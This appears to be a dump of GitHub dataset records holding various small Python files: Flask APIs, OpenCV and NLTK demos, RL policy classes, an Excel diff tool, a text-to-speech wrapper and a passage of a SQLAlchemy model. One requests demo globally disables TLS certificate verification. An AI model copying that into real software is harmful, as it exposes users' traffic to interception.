data\r\n\r\n\r\n@jsonrpc_v1.method(\"Goods.detail_sku_goods(spu_id=Number)\")\r\ndef detail_sku_goods(spu_id):\r\n\t\"\"\"当前系列下的所有的sku库存\"\"\"\r\n\tgoods_list = GoodsSKU.query.filter(\r\n\t\tGoodsSKU.is_show == True,\r\n\t\tGoodsSKU.is_deleted == False,\r\n\t\tGoodsSKU.spu_id == spu_id,\r\n\t).order_by(\r\n\t\tGoodsSKU.sort.asc(),\r\n\t\tGoodsSKU.id.desc()\r\n\t).all()\r\n\r\n\tdata = []\r\n\tfor sku in goods_list:\r\n\t\tsku.sale_price = float(sku.sale_price)\r\n\t\titem = sku.__to_dict__([\"id\", \"title\",\"sale\",\"sale_price\"])\r\n\t\tdata.append(item)\r\n\treturn data\r\n\r\n@jsonrpc_v1.method(\"Goods.detail_sku_goods_image(sku_id=Number)\")\r\ndef detail_sku_goods_image(sku_id):\r\n\t\"\"\"获取sku对应的所有商品图片\"\"\"\r\n\timg_list = GoodsImage.query.filter(\r\n\t\tGoodsImage.is_show == True,\r\n\t\tGoodsImage.is_deleted == False,\r\n\t\tGoodsImage.sku_id == sku_id,\r\n\t).order_by(\r\n\t\tGoodsImage.sort.asc(),\r\n\t\tGoodsImage.id.desc()\r\n\t).all()\r\n\r\n\tdata = []\r\n\tfor img in img_list:\r\n\t\titem = img.__to_dict__([\"image_url\"])\r\n\t\tdata.append(item)\r\n\treturn data\r\n\r\n@jsonrpc_v1.method(\"Goods.detail_sku_goods_attr(sku_id=Number)\")\r\ndef detail_sku_goods_attr(sku_id):\r\n\t\"\"\"根据sku_id获取商品属性\"\"\"\r\n\tattr_list = GoodsSKUAttribute.query.filter(\r\n\t\tGoodsSKUAttribute.is_show == True,\r\n\t\tGoodsSKUAttribute.is_deleted == False,\r\n\t\tGoodsSKUAttribute.sku_id==sku_id\r\n\t).order_by(\r\n\t\tGoodsSKUAttribute.sort.asc(),\r\n\t\tGoodsSKUAttribute.id.desc()\r\n\t).all()\r\n\r\n\tattr_dict = {}\r\n\tfor attr in attr_list:\r\n\t\tarrt_name = attr.goods_attribute.name\r\n\t\tvalue = GoodsAttributeOption.query.get(attr.value).option\r\n\t\tattr_dict[arrt_name] = value\r\n\r\n\treturn attr_dict","repo_name":"zyh-David/mogu","sub_path":"mogu/apps/modules/goods/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":4557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"26151947781","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n寻找多个字典中的公共键\n\"\"\"\n\n__author__ = 'tomtiddler'\n\nfrom functools import reduce\nfrom random import randint, sample\nimport timeit\n\nsample(\"abcdefg\", randint(3, 6)) # 随机取样三到六个\n\ns1 = {x: randint(1, 4) for x in sample(\"abcdefg\", randint(3, 6))}\n\ns2 = {x: randint(1, 4) for x in sample(\"abcdefg\", randint(3, 6))}\n\ns3 = {x: randint(1, 4) for x in sample(\"abcdefg\", randint(3, 6))}\n\n\ndef get_for():\n res = []\n for key1 in s1:\n for key2 in s2:\n if key1 == key2:\n res.append(key1)\n return res\n\n\ndef get_common():\n return s1.keys() & s2.keys()\n\n\nif __name__ == \"__main__\":\n print(s1, s2, s3)\n\n # 以下两种方法功能基本相同\n print(get_for())\n print(s1.keys() & s2.keys())\n print(timeit.timeit(get_for))\n print(timeit.timeit(get_common)) # 此方法时间明显低与迭代。\n # 多个字典的公共键\n print(reduce(lambda a, b: a & b, map(dict.keys, [s1, s2, s3])))\n\n","repo_name":"balloontmz/python_skill","sub_path":"chapter_2/common_key_dict.py","file_name":"common_key_dict.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"8506621273","text":"#!/usr/bin/python\nimport numpy as np\nimport cv2\n\n\n\nbig = cv2.imread('cup1.jpg',-1)\nimg = cv2.resize(big, (0,0), fx=0.2, fy=0.2) \n\nhsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n\nlower_bound = np.array([165,50,50])\nupper_bound = np.array([179,255,255])\n\nmask = cv2.inRange(hsv, lower_bound, upper_bound)\nres = cv2.bitwise_and(img,img, mask= mask)\n\n\ncv2.imshow('img',img)\ncv2.imshow('mask',mask)\ncv2.imshow('res',res)\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\n# # BGR -> RGB with matplotlib\n# from matplotlib import pyplot as plt\n# plt.subplot(231),plt.imshow(img),plt.title('ORIGINAL')\n# plt.subplot(232),plt.imshow(mask),plt.title('MASK')\n# plt.subplot(233),plt.imshow(res),plt.title('RESULT')\n\n# plt.show()","repo_name":"brownmagik352/rsc","sub_path":"replace.py","file_name":"replace.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"35982827247","text":"import nltk\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize\nfrom string import punctuation\n\nexample_sent = \"This is a sample sentence, showing off the stop words filtration.\"\n\nstop_words = set(stopwords.words('english'))\nprint(stop_words)\nword_tokens = word_tokenize(example_sent)\nprint(word_tokens)\n\n# filtered_sentence = [w for w in word_tokens if not w in stop_words]\n\nfiltered_sentence = []\n\nfor w in word_tokens:\n if w not in stop_words:\n filtered_sentence.append(w)\n\nprint(filtered_sentence)\n\nfilter = []\nfor a in filtered_sentence:\n if a not in punctuation:\n filter.append(a)\nprint(filter)\n\n","repo_name":"AbuBakkar32/Machine-Learning-Practice","sub_path":"GeoPy/NLTK.py","file_name":"NLTK.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"71"} +{"seq_id":"38918233350","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom drl_algos.networks.base import Network, FeedForwardBase, RecurrentBase, ConvolutionalBase, CustomModelBase\nfrom drl_algos.utils.distributions import Delta, Discrete, TanhNormal, MultivariateDiagonalNormal\nfrom drl_algos.utils import utils\n\nLOG_SIG_MAX = 2\nLOG_SIG_MIN = -20\n\n\nclass Policy(Network):\n \"\"\"\n Base class for all discrete Actor networks.\n\n :param features_in: Size of latent features.\n :param action_dim: Action output dimension.\n :param is_continuous: Whether action is continuous.\n \"\"\"\n def get_action(self, state):\n raise NotImplementedError\n\n def reset(self):\n pass\n\nclass StochasticPolicy(Policy):\n\n def get_action(self, obs):\n obs = utils.to_tensor(obs[None], self.device)\n dist = self(obs)\n actions = dist.sample()\n actions = utils.to_numpy(actions)\n if not self.is_continuous:\n return actions, {}\n return actions[0, :], {}\n\n\nclass DeterministicPolicy(StochasticPolicy):\n\n def __init__(self, policy):\n super().__init__()\n self.device = policy.device\n self._policy = policy\n self.is_continuous = self._policy.is_continuous\n\n def forward(self, *args, **kwargs):\n dist = self._policy(*args, **kwargs)\n return Delta(dist.mle_estimate())\n\nclass GaussianPolicy(StochasticPolicy):\n\n def __init__(self, base, action_dim, std, dist, init_w=1e-3):\n super().__init__()\n self.base = base\n self.log_std = None\n self.std = std\n self.action_dim = action_dim\n self.dist = dist\n self.is_continuous = True\n\n self.fc_mean = nn.Linear(self.base.latent_size, *action_dim)\n self.fc_mean.weight.data.uniform_(-init_w, init_w)\n self.fc_mean.bias.data.fill_(0)\n\n if std is None:\n # Learned std layer\n self.fc_log_std = nn.Linear(self.base.latent_size, *action_dim)\n self.fc_log_std.weight.data.uniform_(-init_w, init_w)\n self.fc_log_std.bias.data.uniform_(-init_w, init_w)\n else:\n # Fixed std layer\n self.log_std = np.log(std)\n assert LOG_SIG_MIN <= self.log_std <= LOG_SIG_MAX\n\n def forward(self, obs):\n features = self.base(obs)\n mean = self.fc_mean(features)\n if self.std is None:\n log_std = self.fc_log_std(features)\n log_std = torch.clamp(log_std, LOG_SIG_MIN, LOG_SIG_MAX)\n std = torch.exp(log_std)\n else:\n std = utils.to_tensor(np.array([self.std, ]), self.device)\n\n return self.dist(mean, std)\n\n def logprob(self, action, mean, std):\n tanh_normal = self.dist(mean, std)\n log_prob = tanh_normal.log_prob(action)\n log_prob = log_prob.sum(dim=1, keepdim=True)\n return log_prob\n\nclass CategoricalPolicy(StochasticPolicy):\n\n def __init__(self, base, action_dim, init_w=1e-3):\n super().__init__()\n self.base = base\n self.dist = Discrete\n self.is_continuous = False\n self.logits = nn.Linear(self.base.latent_size, *action_dim)\n # self.logits.weight.data.uniform_(-init_w, init_w)\n # self.logits.bias.data.fill_(0)\n\n def forward(self, obs):\n features = self.base(obs)\n logits = self.logits(features)\n return self.dist(logits)\n\n def logprob(self, action, logits):\n dist = self.dist(logits)\n log_prob = dist.log_prob(action)\n log_prob = log_prob.sum(dim=1, keepdim=True)\n return log_prob\n\nclass FeedForwardGaussianPolicy(GaussianPolicy):\n \"\"\"\n Class implementing the FeedForwardBase class for the actor.\n\n :param state_dim: Input state shape.\n :param action_dim: Action output dimension.\n :param is_continuous: Whether action is continuous.\n :param layers: A tuple defining the layer sizes if a single layer type\n and the type of layer and their size if a custom model is needed.\n :param activation_fn: Activation function to use.\n \"\"\"\n\n def __init__(self, state_dim, action_dim, dist, layers=(256, 256), activation_fn=F.relu, weight_init_fn=utils.fanin_init, bias_init_val=0., std=None):\n super().__init__(FeedForwardBase(state_dim, layers, activation_fn, weight_init_fn, bias_init_val), action_dim, std, dist) \n\n\nclass FeedForwardCategoricalPolicy(CategoricalPolicy):\n\n def __init__(self, state_dim, action_dim, layers=(256, 256), activation_fn=F.relu, weight_init_fn=utils.fanin_init, bias_init_val=0.):\n super().__init__(FeedForwardBase(state_dim, layers, activation_fn, weight_init_fn, bias_init_val), action_dim)\n\n\nclass RecurrentGaussianPolicy(GaussianPolicy):\n \"\"\"\n Class implementing the RecurrentBase class for the actor.\n\n :param state_dim: Input state shape.\n :param action_dim: Action output dimension.\n :param is_continuous: Whether action is continuous.\n :param layers: A tuple defining the layer sizes if a single layer type\n and the type of layer and their size if a custom model is needed.\n \"\"\"\n\n def __init__(self, state_dim, action_dim, dist, layers=(128, 128), std=None):\n super().__init__(RecurrentBase(state_dim, layers), action_dim, std, dist)\n\n self.base.init_lstm_state()\n\n\nclass CustomGaussianPolicy(GaussianPolicy):\n \"\"\"\n Class implementing the CustomModelBase class for the actor.\n \n :param state_dim: Input state shape.\n :param action_dim: Action output dimension.\n :param is_continuous: Whether action is continuous.\n :param layers: A tuple defining the layer sizes if a single layer type\n and the type of layer and their size if a custom model is needed.\n :param activation_fn: Activation function to use.\n \"\"\"\n\n def __init__(self, state_dim, action_dim, layers, dist, activation_fn=F.relu, weight_init_fn=utils.fanin_init, bias_init_val=0., std=None):\n super().__init__(CustomModelBase(state_dim, layers, activation_fn, weight_init_fn, bias_init_val), action_dim, std, dist)\n\n if len(self.base.rnn_layers) > 0:\n self.base.init_lstm_state()","repo_name":"npitsillos/deepRLalgos","sub_path":"drl_algos/networks/policies.py","file_name":"policies.py","file_ext":"py","file_size_in_byte":6219,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"71"} +{"seq_id":"71442883110","text":"# drawing the results\nfrom scipy.io import loadmat\nimport matplotlib\nimport numpy as np\n\nbackend = 'TkAgg'\nmatplotlib.use(backend)\nimport matplotlib.pyplot as plt\n\n\nmatplotlib.use('TkAgg')\n\n# data_dir = pjoin(dirname(sio.__file__), 'result')\n# mat_fname = pjoin(data_dir, 'veh8_nossa_seg3_trial1.mat')\nmat_fname = \"result/nossa/veh8_nossa_seg3_trial1.mat\"\nmat_contents = loadmat(mat_fname)\nphi_data = mat_contents['phi_data']\nphi_data = np.squeeze(phi_data)\n\n# draw the figure \n# print(phi_data)\nplt.plot(phi_data)\nplt.ylabel('Safety index value')\nplt.xlabel('Frame number')\nplt.show()\n","repo_name":"CaesarAndylaw/Safe-GAIL","sub_path":"draw_results.py","file_name":"draw_results.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"24483924601","text":"import requests\nimport json\n\nimport ssl\nssl._create_default_https_context = ssl._create_unverified_context\n\nclass RunMain():\n\t'''\n\tdef __init__(self,url,method,data=None):\n\t\tself.res = self.run_main(url,method,data=None)\n\t'''\n\n\tdef send_get(self,url,data=None):\n\t\tres = requests.get(url,data=data,verify=False).json()\n\t\t#return json.dumps(res,indent=True,sort_keys=True)\n\t\treturn res\n\n\tdef send_post(self,url,data=None):\n\t\tres = requests.post(url,data=data,verify=False).json()\n\t\t#return json.dumps(res,indent=True,sort_keys=True)\n\t\treturn res\n\n\tdef run_main(self,url,method,data=None):\n\t\tif method == 'GET':\n\t\t\treturn self.send_get(url,data)\n\t\telif method == 'POST':\n\t\t\treturn self.send_post(url,data)\n\n\nif __name__ == '__main__':\n\turl1 = 'https://m.imooc.com/wap/api/course/loadCourseList?marking=all&course_type=0&easy_type=&order=2&pageIndex=1&flag=&ex_learned=0'\n\tdata1 = {'marking':'all',\n\t\t\t'course_type':0,\n\t\t\t'easy_type':'',\t\n\t\t\t'order':2,\n\t\t\t'pageIndex':1,\n\t\t\t'flag':'',\t\n\t\t\t'ex_learned':0,}\n\tprint('-----post-----\\n',RunMain().run_main(url1,'POST',data1))\n\tprint(type(RunMain().run_main(url1,'POST',data1)))\n\turl2 = 'https://m.imooc.com/api/search/searchword'\n\tprint('-----get-----\\n',RunMain().run_main(url2,'GET'))\n\n","repo_name":"cwx727/interface_frame","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":1229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"10890811217","text":"from distutils.core import setup\n\n\ninstall_requires=[\n \"setuptools\",\n \"wheel\",\n \"imageio\",\n \"numpy\",\n \"opencv-python\",\n \"Pillow\",\n \"psutil\",\n \"tqdm\"\n]\n\n\nsetup(\n name='grandpa',\n version='0.6.2',\n packages=['grandpa', 'grandpa.utils'],\n url='https://github.com/Proxima7/GrandPa',\n license='MIT License',\n author='Bizerba AI Team',\n author_email='pascal.iwohn@bizerba.com',\n description='',\n install_requires=install_requires,\n package_dir={\"\": \"src\"}\n)\n","repo_name":"Proxima7/GrandPa","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"71"} +{"seq_id":"14971944625","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# @Time : 3/6/2018\n# @Author : aimkiray\n# @Email : root@meowwoo.com\n\nimport xlwings as xw\nimport os\n\n# old excel file path\nold_file_name = r\"C:\\Users\\filename.xlsx\"\n# new excel file path\nnew_file_name = r\"C:\\Users\\filename.xlsx\"\n# Maximum column letter (fix bug)\nlast_letter = 'W'\n# Attention: If you want to define column format, please find the corresponding code.\n\n# The output file is in the output folder.\noutput_dir = r\"output\"\nif not os.path.exists(output_dir):\n os.mkdir(output_dir)\n\n\nclass ExportNewData(object):\n\n def __init__(self, old_fn, new_fn, letter):\n super(ExportNewData, self).__init__()\n self.ExistSet = set()\n self.NewListExport = list()\n self.NewListAddress = list()\n self.CompareList = list()\n self.old_fn = old_fn\n self.new_fn = new_fn\n self.letter = letter\n\n def import_excel(self):\n app = xw.App(visible=True, add_book=False)\n\n wb1 = app.books.open(self.old_fn)\n wb2 = app.books.open(self.new_fn)\n wb3 = app.books.add()\n\n sht1 = wb1.sheets['Sheet1']\n sht2 = wb2.sheets['Sheet1']\n sht3 = wb3.sheets['Sheet1']\n\n range1 = sht1.range(\"A1\").expand(\"down\")\n range2 = sht2.range(\"A1\").expand(\"down\")\n\n # Existing data is saved in the set to increase the speed of comparison.\n for name in range1.value:\n self.ExistSet.add(str(name).strip())\n\n # Need to compare the data\n self.CompareList = range2.value\n for index in range(len(self.CompareList)):\n if str(self.CompareList[index]).strip() not in self.ExistSet:\n self.NewListAddress.append(\"A\" + str(index + 1) + \":\" + self.letter + str(index + 1))\n\n while self.NewListAddress:\n td = self.NewListAddress.pop()\n self.NewListExport.append(sht2.range(td).value)\n\n # fill in title\n sht3.range('A1:' + self.letter + '1').value = sht2.range('A1:' + self.letter + '1').value\n # Need to define the format of the column\n sht3.range('A1:F' + str(len(self.NewListExport) + 1)).number_format = '@'\n # fill in data\n sht3.range('A2').options(expand='table').value = self.NewListExport\n # save\n sht3.autofit()\n wb3.save(r\"output/new.xlsx\")\n wb3.app.quit()\n\n\nif __name__ == '__main__':\n export = ExportNewData(old_file_name, new_file_name, last_letter)\n export.import_excel()\n","repo_name":"aimkiray/python_excel_tools","sub_path":"ExportNewData.py","file_name":"ExportNewData.py","file_ext":"py","file_size_in_byte":2481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"73296560231","text":"import cv2\nimport numpy as np\n\nMIN_HEIGHT = 50\n\ndef separate_by_white_space(image: np.ndarray) -> list:\n image_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n image_inverted = 255 - image_gray # 흑백 반전 (흰색은 검정색으로)\n # 하얀색 라인(세로) 추출\n white_line_filter = np.sum(image_inverted, axis=1) == 0\n white_line_index = np.where(white_line_filter)[0]\n\n separators = np.argwhere(np.diff(white_line_index) > 1)[:,0]\n\n result = [] # 하얀색 외 색깔이 있는 세로 인덱스 (start_height, end_height)\n result.append((0, white_line_index[0] - 1))\n for separator in separators.tolist():\n prev_index = white_line_index[separator] + 1\n next_index = white_line_index[separator+1] - 1\n \n if next_index - prev_index > MIN_HEIGHT:\n result.append((prev_index, next_index)) \n \n return result","repo_name":"gagip/stella","sub_path":"src/crop/image_crop.py","file_name":"image_crop.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"10167607314","text":"# encoding:utf-8\n\"\"\"\nspeaker_engine.py - File that contains speaker class\n\"\"\"\n\nimport pyttsx3\nimport logging\nimport tempfile\nfrom os import remove\nfrom enum import Enum\nfrom gtts import gTTS\nfrom playsound import playsound\nfrom archie.utils.decorators import trace_info\n\n__authors__ = \"Marco Espinosa\"\n__license__ = \"MIT License\"\n__version__ = \"1.0\"\n__maintainer__ = \"Marco Espinosa\"\n__email__ = \"hi@marcoespinosa.es\"\n__status__ = \"Development\"\n\nclass SpeakerEngine(str, Enum):\n \"\"\"\n Enumeration class to define speaker engine types\n \"\"\"\n GTTS = 'gTTS'\n PYTTSX3 = 'pyttsx3'\n\n\nclass SpeakerVoiceException(Exception):\n \"\"\" Custom exception for voice manipulation \"\"\"\n def __repr__(self) -> str:\n \"\"\" Return a printed version \"\"\"\n return f\"{self.__class__.__name__}\"\n\nclass SpeakerVolumeException(Exception):\n \"\"\" Custom exception for volume manipulation \"\"\"\n def __repr__(self) -> str:\n \"\"\" Return a printed version \"\"\"\n return f\"{self.__class__.__name__}\"\n\nclass SpeakerEngineNotFoundException(Exception):\n \"\"\" Custom exception for speaker engine not found \"\"\"\n def __repr__(self) -> str:\n \"\"\" Return a printed version \"\"\"\n return f\"{self.__class__.__name__}\"\n\nclass Speaker():\n \"\"\"\n Class to handler the speaker\n \"\"\"\n\n @trace_info(\"Initializing speaker engine ...\")\n def __init__(self, engine, language, rate=50, gender='VoiceGenderFemale') -> None:\n \"\"\"\n Default constructor\n \"\"\"\n # Initialize logger name\n self._logger = logging.getLogger(self.__class__.__name__)\n \n # Set language\n self._language = language\n # Set rate\n self._rate = rate\n # Set geneder\n self._gender = gender\n # Set engine\n self._engine = engine\n\n # Load desired engine\n self._load_engine()\n\n @classmethod\n def init_pyttsx3_engine(cls, language, rate=50, gender='VoiceGenderFemale'):\n \"\"\"\n Constructor to build the pyttsx3 engine\n \"\"\"\n return cls(SpeakerEngine.PYTTSX3, language, rate, gender)\n\n @classmethod\n def init_gTTS_engine(cls, language):\n \"\"\"\n Constructor to build the google gTTS engine\n \"\"\"\n return cls(SpeakerEngine.GTTS, language)\n\n def __repr__(self) -> str:\n \"\"\" \n Return a printed version \n \"\"\"\n return f\"{self.__class__.__name__}, language: {self._language}, rate: {self._rate}, gender: {self._gender}\"\n\n def _load_engine(self):\n \"\"\"\n Method to load desired engine\n \"\"\"\n if self._engine == SpeakerEngine.PYTTSX3:\n self._init_pyttsx3_engine()\n elif self._engine == SpeakerEngine.GTTS:\n self._init_gTTS_engine()\n else:\n raise SpeakerEngineNotFoundException()\n\n @trace_info(\"Loading pysttsx3 Speaker Engine ...\")\n def _init_pyttsx3_engine(self):\n \"\"\"\n Method to initialize pyttsx3 engine\n \"\"\"\n # Initialize speaker engine\n self._speaker_engine = pyttsx3.init()\n \n # Trying to configure speaker voice\n try:\n self._configure_voice()\n except SpeakerVoiceException as e:\n raise e\n\n @trace_info(\"Loading gTTS Speaker Engine ...\")\n def _init_gTTS_engine(self):\n \"\"\"\n Method to initialize gTTS engine\n \"\"\"\n # Getting first element. For instance, \"es\" from \"es_ES\" string.\n self._language = self._language.split('_')[0]\n\n def _configure_voice(self):\n \"\"\"\n Method to configure speaker voice\n \"\"\"\n for voice in self._speaker_engine.getProperty('voices'):\n if self._language in voice.languages and self._gender == voice.gender:\n self._speaker_engine.setProperty('voice', voice.id)\n self._speaker_engine.setProperty('rate', self._rate)\n gender = \"Female\" if \"Female\" in self._gender else \"Male\"\n self._logger.info(\n f\"Speaker voice type set to {gender} with a rate of {self._rate} in language {self._language}\")\n self._logger.info(f\"Volumen level: {self._speaker_engine.getProperty('volume')}\")\n return True\n\n raise SpeakerVoiceException(\n \"Language '{}' for gender '{}' not found\".format(self._language, self._gender))\n\n def volume_up(self):\n \"\"\"\n Method to turn up the speaker volume\n \"\"\"\n try:\n self._speaker_engine.setProperty(\n 'volume', self._speaker_engine.getProperty('volume') + 1)\n self._logger.info(\n f\"Volume set to {self._speaker_engine.getProperty('volume')}\")\n except Exception as e:\n raise SpeakerVolumeException(f\"Volume cannot be modified: {e}\")\n\n def volume_down(self):\n \"\"\"\n Method to lower the volume\n \"\"\"\n try:\n self._speaker_engine.setProperty(\n 'volume', self._speaker_engine.getProperty('volume') - 1)\n self._logger.info(\n f\"Volume set to {self._speaker_engine.getProperty('volume')}\")\n except Exception as e:\n raise SpeakerVolumeException(f\"Volume cannot be modified: {e}\")\n\n def say(self, something):\n \"\"\"\n Method to say some thing\n \"\"\"\n # pyttsx3 engine\n if self._engine == SpeakerEngine.PYTTSX3:\n # Play sound\n self._speaker_engine.say(something)\n self._speaker_engine.runAndWait()\n # gTTS engine\n elif self._engine == SpeakerEngine.GTTS:\n # Performs text to speech\n tts = gTTS(something, lang=self._language)\n \n # Get temporary mp3 file\n temp = tempfile.NamedTemporaryFile(suffix='.mp3', delete=False)\n \n # Save sound encoded in a temporary file\n with open(temp.name, \"wb\") as mp3_file:\n tts.write_to_fp(mp3_file)\n \n # Play sound\n playsound(temp.name)\n \n # Remove temporary file\n remove(temp.name)\n \n \n \n\n\n","repo_name":"maekind/archie","sub_path":"src/archie/lib/engine/speaker_engine.py","file_name":"speaker_engine.py","file_ext":"py","file_size_in_byte":6186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"32623547177","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nAuthor: Keurfon Luu <keurfon.luu@mines-paristech.fr>\nLicense: MIT\n\"\"\"\n\nimport os\nfrom obspy import read\n\n__all__ = [ \"StreamReader\" ]\n\n\nclass StreamReader:\n \"\"\"\n Read streamer files.\n \"\"\"\n \n FORMATS = [ \"miniseed\", \"mseed\", \"reftek\", \"sac\", \"seg2\", \"sg2\", \"segy\", \"sgy\", \"su\" ]\n \n def __init__(self):\n pass\n \n def format_ok(self, filename):\n \"\"\"\n Check if file's format is compatible.\n \n Parameters\n ----------\n filename : str\n Path to file.\n \n Returns\n -------\n ok : bool\n True if file is compatible, False otherwise.\n \"\"\"\n ext = os.path.splitext(filename)[1][1:].lower()\n if ext not in self.FORMATS:\n return False\n else:\n return True\n \n def read_dir(self, dirname):\n \"\"\"\n Read directory.\n \n Parameters\n ----------\n dirname : str\n Path to directory containing stream files.\n \n Returns\n -------\n file_list : list\n List of filenames.\n \"\"\"\n filenames = os.listdir(dirname)\n filenames.sort()\n file_list = []\n for filename in filenames:\n if os.path.isfile(dirname + filename) and self.format_ok(filename):\n file_list.append(filename)\n return file_list\n \n def read_file(self, filename):\n \"\"\"\n Read file.\n \n Parameters\n ----------\n filename : str\n Path to file.\n \n Returns\n -------\n st : Stream\n List of Trace objects.\n \"\"\"\n ext = os.path.splitext(filename)[1][1:].lower()\n if ext in [ \"miniseed\", \"mseed\" ]:\n st = read(filename, format = \"MSEED\")\n elif ext == \"reftek\":\n st = read(filename, format = \"REFTEK130\")\n elif ext == \"sac\":\n st = read(filename, format = \"SAC\")\n elif ext in [ \"seg2\", \"sg2\" ]:\n st = read(filename, format = \"SEG2\")\n elif ext in [ \"segy\", \"sgy\" ]:\n st = read(filename, format = \"SEGY\")\n elif ext == \"su\":\n st = read(filename, format = \"SU\")\n return st","repo_name":"keurfonluu/AIPycker","sub_path":"pycker/read_stream.py","file_name":"read_stream.py","file_ext":"py","file_size_in_byte":2284,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"71"} +{"seq_id":"24108427501","text":"from __future__ import annotations\n\nimport pytest\n\nfrom pyauthorizer.cli import convert_user_args_to_dict\nfrom pyauthorizer.exceptions import PyAuthorizerError\n\n\ndef test_convert_user_args_to_dict():\n # Test case 1: Valid input with single argument\n user_list = [\"key=value\"]\n expected_output = {\"key\": \"value\"}\n assert convert_user_args_to_dict(user_list) == expected_output\n\n # Test case 2: Valid input with multiple arguments\n user_list = [\"key1=value1\", \"key2=value2\", \"key3=value3\"]\n expected_output = {\"key1\": \"value1\", \"key2\": \"value2\", \"key3\": \"value3\"}\n assert convert_user_args_to_dict(user_list) == expected_output\n\n # Test case 3: Invalid input with missing value\n user_list = [\"key\"]\n with pytest.raises(PyAuthorizerError):\n convert_user_args_to_dict(user_list)\n\n # Test case 4: Invalid input with repeated parameter\n user_list = [\"key1=value1\", \"key1=value2\"]\n with pytest.raises(PyAuthorizerError):\n convert_user_args_to_dict(user_list)\n","repo_name":"msclock/pyauthorizer","sub_path":"tests/test_cli.py","file_name":"test_cli.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"29284256403","text":"import os\nimport json\nfrom flask import Flask\nfrom flask import request\nfrom flask import Response\nfrom http import HTTPStatus\nfrom dotenv import load_dotenv\nfrom src.controller.result.success_result import SuccessResult\nfrom src.controller.result.error_result import ErrorResult\nfrom src.common.exceptions.compiler_exception import CompilerException\nfrom src.controller.services.file_service import FileService\nfrom src.common.exceptions.file_exception import FileException\nfrom src.model.compiler_facade import CompilerFacade\nfrom src.controller.properties.properties import Properties\n\napp = Flask(__name__)\nload_dotenv()\nupload_dir = os.getenv('UPLOAD_DIR')\n\n\n@app.route('/', methods=['POST'])\ndef route():\n lang = request.form.get('lang')\n version = request.form.get('version')\n\n try:\n file_path = FileService.get_file_path(request.files['file'], upload_dir)\n result = CompilerFacade.compiler_code(lang, file_path, upload_dir, Properties.get_binary_path(lang, version))\n result_compiler = SuccessResult(HTTPStatus.OK, str(result))\n return Response(\n json.dumps(result_compiler.__dict__),\n status=HTTPStatus.OK,\n mimetype='application/json'\n )\n except FileException as error:\n result_error = ErrorResult(error.status, error.message, 'AT16-CONT-12')\n return Response(\n json.dumps(result_error.__dict__),\n status=error.status,\n mimetype='application/json'\n )\n except CompilerException as error:\n result_error = ErrorResult(error.status, error.message, error.code)\n return Response(\n json.dumps(result_error.__dict__),\n status=error.status,\n mimetype='application/json'\n )\n except Exception as error:\n result_error = ErrorResult(HTTPStatus.NOT_FOUND, error, 'AT16-000451')\n return Response(\n json.dumps(result_error.__dict__),\n status=HTTPStatus.NOT_FOUND,\n mimetype='application/json'\n )\n\n\nif __name__ == '__main__':\n app.run()\n\n","repo_name":"jpsandovaln/AT16-SKYNET","sub_path":"COMPILER_SERVICE/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2082,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"33054097822","text":"import json\nimport sqlalchemy as db\n\n# Create a SQLite database in memory (you can use a different database URL)\ndatabase_url = 'sqlite:///:memory:'\nisFlask = False\nif not isFlask:\n from sqlalchemy import create_engine\n from sqlalchemy.orm import sessionmaker, declarative_base\n\n engine = create_engine(database_url)\n Session = sessionmaker(bind=engine)\n Base = declarative_base()\n\n\nclass ImageModelException(Exception):\n pass\n\n\nclass EXIFModel(Base):\n __private_key = object()\n\n __tablename__ = \"exif_data\"\n\n id = db.Column(db.Integer, primary_key=True)\n image_id = db.Column(db.Integer, nullable=False, unique=True)\n ISO = db.Column(db.Integer)\n Flash = db.Column(db.Integer)\n ColorSpace = db.Column(db.Integer)\n Compression = db.Column(db.Integer)\n LightSource = db.Column(db.Integer)\n Orientation = db.Column(db.Integer)\n XResolution = db.Column(db.Integer)\n YResolution = db.Column(db.Integer)\n ExposureMode = db.Column(db.Integer)\n MeteringMode = db.Column(db.Integer)\n WhiteBalance = db.Column(db.Integer)\n ExifImageWidth = db.Column(db.Integer)\n ResolutionUnit = db.Column(db.Integer)\n ExifImageHeight = db.Column(db.Integer)\n DigitalZoomRatio = db.Column(db.Integer)\n SceneCaptureType = db.Column(db.Integer)\n YCbCrPositioning = db.Column(db.Integer)\n ExposureCompensation = 